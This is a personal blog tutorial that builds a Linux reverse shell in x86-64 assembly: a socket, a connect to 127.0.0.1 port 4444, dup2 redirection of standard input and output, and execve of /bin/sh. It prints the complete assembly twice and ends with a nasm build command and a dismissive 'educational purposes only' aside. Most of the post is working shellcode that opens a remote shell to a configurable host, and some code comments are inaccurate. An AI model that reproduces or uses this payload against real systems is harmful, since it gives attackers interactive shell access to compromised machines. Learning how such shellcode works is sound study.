Noë Flatreaud

Linux reverse shell in x86  assembly

I wanted to test out some sockets in x86 assembly.
So why not re-creating a reverse shell ?

The idea

My main objective is to create a reverse TCP shell that connects back to a provided IP and port. The IP and port should be easily configurable.

The shellcode should perform various operations:

1. Create a socket

On linux, the socket syscall is used to create a new socket.

int socket(int domain, int type, int protocol);

For our project, we'll define the domain as AF_INET (IPv4), the type to SOCK_STREAM (TCP), and the protocol to 0 (default).

; socket syscall: int socket(int domain, int type, int protocol)
    ; using push/pop to both clear and set registers
    push 41
    pop rax             ; syscall =  socket
    push 2
    pop rdi             ; domain = AF_INET
    push 1
    pop rsi             ; type = SOCK_STREAM
    cdq                 ; protocol = single, since rdx is cleared to 0
    syscall

2. Connect it to host:port

We can now connect the socket to a specified address and port using the connect syscall.

int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);

Here, IP address 127.0.0.1 and port 4444 are pushed onto the stack in little-endian format.

    ; connect syscall: int connect(int sockfd, const struct sockaddr *addr{sin_family, sin_port, sin_addr}, socklen_t addrlen);
    xchg edi, eax       ; sockfd = 32 bit file descriptor returned from socket syscall
    mov al, 42          ; syscall = connect
    push rdx            ; pad 8 null bytes to align with sockaddr
    push dword 0x0100007f ; sin_addr = 127.0.0.1, reversed for little endian
    push word 0x5c11    ; sin_port = 4444
    push word 2         ; sin_family = AF_INET
    mov rsi, rsp         ; sockaddr = structure in the stack
    mov dl, 16          ; addrlen = 16 bytes
    syscall

3. Redirect stdio to the connected socket

To redirect stdin, stdout and stderr to the connected socket, we can use dup2 syscall :

int dup2(int oldfd, int newfd);

lopping three times to handle all three file descriptors (0, 1, 2).

    ; dup2 syscall: int dup2(int oldfd, int newfd)
    push 2
    pop rsi             ; rsi as both loop counter and newfd to redirect stdin(0), stdout(1) and stderr(2)

dup2Loop:
    mov al, 33          ; syscall = dup2
    syscall             ; oldfd is unchanged in rdi, set previously
    dec sil             ; decrement sil
    jns dup2Loop        ; loop again if sil > 0

3. Call execve to spawn a simple shell :3

Now for the juicy stuff, we'll use execve execute /bin/sh, thus spawning the mighty shell.

int execve(const char *pathname, char *const _Nullable argv[], char *const _Nullable envp[]);

The pathname //bin/sh is pushed onto the stack in little-endian format.

    ; execve syscall: int execve(const char *pathname, char *const _Nullable argv[], char *const _Nullable envp[]);
    push rax            ; push NULL string terminator, rax is null from previous syscall
    mov rdi,  0x68732f6e69622f2f ; pathname = '//bin/sh', reversed for little endian
    push rdi            ; push string to stack
    mov rdi, rsp        ; set first arg to pathname pointer
    push rax            ; push another null terminator
    mov rsi, rsp        ; set second arg to pathname pointer
    xor dl, dl          ; envp = NULL
    mov al, 59          ; syscall = execve
    syscall

And voilà ! You got yourself a (hopefully) working reverse shell entirely written in x86 asm.

The assembly

global _start

section .text
_start:
    ; socket syscall: int socket(int domain, int type, int protocol)
    ; using push/pop to both clear and set registers
    push 41
    pop rax             ; syscall =  socket
    push 2
    pop rdi             ; domain = AF_INET
    push 1
    pop rsi             ; type = SOCK_STREAM
    cdq                 ; protocol = single, since rdx is cleared to 0
    syscall

    ; connect syscall: int connect(int sockfd, const struct sockaddr *addr{sin_family, sin_port, sin_addr}, socklen_t addrlen);
    xchg edi, eax       ; sockfd = 32 bit file descriptor returned from socket syscall
    mov al, 42          ; syscall = connect
    push rdx            ; pad 8 null bytes to align with sockaddr
    push dword 0x0100007f ; sin_addr = 127.0.0.1, reversed for little endian
    push word 0x5c11    ; sin_port = 4444
    push word 2         ; sin_family = AF_INET
    mov rsi, rsp         ; sockaddr = structure in the stack
    mov dl, 16          ; addrlen = 16 bytes
    syscall

    ; dup2 syscall: int dup2(int oldfd, int newfd)
    push 2
    pop rsi             ; rsi as both loop counter and newfd to redirect stdin(0), stdout(1) and stderr(2)

dup2Loop:
    mov al, 33          ; syscall = dup2
    syscall             ; oldfd is unchanged in rdi, set previously
    dec sil             ; decrement sil
    jns dup2Loop        ; loop again if sil > 0

    ; execve syscall: int execve(const char *pathname, char *const _Nullable argv[], char *const _Nullable envp[]);
    push rax            ; push NULL string terminator, rax is null from previous syscall
    mov rdi,  0x68732f6e69622f2f ; pathname = '//bin/sh', reversed for little endian
    push rdi            ; push string to stack
    mov rdi, rsp        ; set first arg to pathname pointer
    push rax            ; push another null terminator
    mov rsi, rsp        ; set second arg to pathname pointer
    xor dl, dl          ; envp = NULL
    mov al, 59          ; syscall = execve
    syscall

You can try and assemble the reverse shell with nasm

$ nasm -felf64 -o rshell.o rshell.asm

Now, you're grown people, use it as intended, for educational pruposes only blah, blah, blah... you know the drill

Hope it was interesting,
See you later,